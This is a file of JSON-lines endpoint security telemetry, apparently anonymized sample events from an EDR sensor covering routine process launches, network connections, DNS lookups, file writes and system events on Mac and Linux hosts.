+{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"} +{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"} +{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"} +{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"} +{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"} +{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} 